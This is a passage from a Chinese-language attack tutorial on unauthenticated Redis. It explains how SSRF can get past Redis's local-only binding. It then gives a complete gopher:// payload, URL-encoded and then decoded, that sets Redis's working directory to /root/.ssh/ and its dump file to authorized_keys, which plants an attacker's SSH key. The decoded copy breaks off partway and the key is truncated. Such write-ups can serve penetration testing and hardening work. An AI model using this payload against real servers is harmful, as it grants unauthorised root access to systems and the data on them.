密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下，未经授权访问Redis及读取Redis的数据。因此，此漏洞在没有配置密码的情况下，可以利用SSRF来绕过绑定在本地的限制，从而实现在外网攻击内网应用的目的。

1. 利用Redis来写ssh密钥

此处利用ssh生成一对公私钥，生成的默认文件为id_rsa.pub和idrsa。把id_rsa.pub上传至服务器即可。我们利用Redis把目录设置为ssh目录下。

根据网上写密钥有两种协议可以使用，一种是dict，一种是gopher。测试使用dict协议写不成功，写入后不能连接，此处使用gopher写密钥。

使用的Payload如下。

```
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$401%0d%0a
%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU+RX1gYTBrmZlNwU2KUBI
CuxflTtFwfbZM3wAy/FmZmtpCf2UvZFb/MfC1i.....2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XM
JC7KnUGil4ptcxmgTsz0UsdXAd9J2UdwPfmoM9%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfi
g%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6
%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthoriz
ed_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
```

Payload解码如下。

```
gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$401
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/Xn7uoTwU RX1gYTBrmZlNwU2KUBICuxflTtFw
fbZM3wAy/FmZmtpCf2UvZFb/MfC1i.....2pyARF0YjMmjMevpQwjeN3DD3cw/bO4XMJC7KnUGil
4ptcxmgTsz0UsdXAd9J2UdwPfmoM9 // 生成公钥
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
```